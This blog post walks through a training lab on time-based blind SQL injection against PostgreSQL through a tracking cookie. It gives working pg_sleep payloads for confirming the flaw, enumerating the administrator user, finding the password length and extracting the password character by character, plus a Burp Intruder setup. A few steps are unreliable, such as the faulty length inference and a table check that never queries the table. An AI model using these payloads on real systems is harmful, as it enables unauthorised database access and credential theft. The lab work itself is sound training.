Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

Blind SQL injection with time delays and information retrieval

I think I already made this one time but I re-done the lesson in order to keep the memory fresh

2025-11-133 tags
Tags

This lab demonstrates a blind SQL injection vulnerability through a tracking cookie used for analytics. The vulnerable application embeds the value of this cookie directly into a SQL query — without proper sanitization.


🧩 Vulnerability Overview

The server executes the SQL query synchronously, but the results are not reflected in the application response.
Since there are no output or error messages, traditional error-based or UNION-based SQL injection techniques won’t work here.

However, because the query executes in real time, we can exploit conditional time delays (e.g., pg_sleep()) to infer database information.


🎯 Objective

The goal is to:

  • Exploit the time-based blind SQL injection vulnerability.
  • Extract the administrator’s password from the users table.
  • Log in as the administrator user.

🔍 Step 1 — Confirm SQL Injection Vulnerability

We start by testing for injection with a time-delay payload in the tracking cookie:

sql
' || pg_sleep(10) --

If the query is vulnerable, the server response will be delayed by ~10 seconds.
Indeed, the response took about 20 seconds, confirming that the SQL query is being executed.

Test Delay

✅ Vulnerability confirmed.


🧱 Step 2 — Confirm Table Existence

We can now check if the table users exists by introducing a conditional delay:

sql
' || (SELECT CASE WHEN 1=1 THEN pg_sleep(10) END)--

The server sleeps, indicating the condition is true.
Now let’s test a false case:

sql
' || (SELECT CASE WHEN 1=0 THEN pg_sleep(10) END)--

This time the response returned instantly (~11ms) — confirming that the conditional logic works.

Condition Test


👤 Step 3 — Check for Administrator User

Let’s confirm that the administrator username exists in the users table:

sql
' || (SELECT CASE WHEN (username='administrator') THEN pg_sleep(10) ELSE pg_sleep(-1) END FROM users)--

The request took 10 seconds, confirming that the administrator user exists.

Admin Exists


🔢 Step 4 — Determine Password Length

Next, let’s identify the password length:

sql
' || (SELECT CASE WHEN (username='administrator' AND LENGTH(password)>20) THEN pg_sleep(10) ELSE pg_sleep(-1) END FROM users)--

The response took ~11ms when checking >20, meaning the password is exactly 20 characters long.

You can perform this manually or automate it using Burp Suite Intruder.


🧠 Step 5 — Enumerate the Password

Now we brute-force the password one character at a time:

sql
' || (SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)='a') THEN pg_sleep(10) ELSE pg_sleep(-1) END FROM users)--

If the character is correct, the request sleeps for 10 seconds.

🔄 Automating with Burp Suite

To speed things up, we’ll use Burp Suite Intruder with a cluster bomb attack:

  • Position 1: character index (1–20)
  • Position 2: alphanumeric set (a–z, 0–9)

Make sure to set only one thread, as concurrency can cause timing inconsistencies.

Burp Intruder Setup

After sorting by response time, you can identify which requests triggered the delay — these correspond to correct password characters.

Intruder Results

Highlighted results reveal valid characters in sequence.

Notice the password is 20 characters I had to rerun it since the request response time took on the 20:e request few ms I interpreted the result wrong but in my case its 20 characters.

Sorted Results


🔓 Step 6 — Extracted Administrator Password

After running the enumeration, we recover the administrator’s password:

text
muiwpbwgm76kai2720e8

Final Password Found


✅ Final Step — Log In as Administrator

With the password recovered, log in as the administrator user to solve the lab.


🧩 Summary

StepActionResult
1Tested for time delayVulnerability confirmed
2Verified conditionalsLogic confirmed
3Checked username existenceAdministrator found
4Determined password length20 characters
5Brute-forced charactersPassword extracted
6Logged in as adminSuccess

⚠️ Key Takeaways

  • Time-based SQLi allows data extraction even with no output or error feedback.
  • Always use parameterized queries and ORMs to prevent injection.
  • Application performance anomalies (like consistent delays) can reveal sensitive data.

Navigate

In this post

  1. 01🧩 Vulnerability Overview
  2. 02🎯 Objective
  3. 03🔍 Step 1 — Confirm SQL Injection Vulnerability
  4. 04🧱 Step 2 — Confirm Table Existence
  5. 05👤 Step 3 — Check for Administrator User
  6. 06🔢 Step 4 — Determine Password Length
  7. 07🧠 Step 5 — Enumerate the Password
  8. 08🔄 Automating with Burp Suite
  9. 09🔓 Step 6 — Extracted Administrator Password
  10. 10✅ Final Step — Log In as Administrator
  11. 11🧩 Summary
  12. 12⚠️ Key Takeaways
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.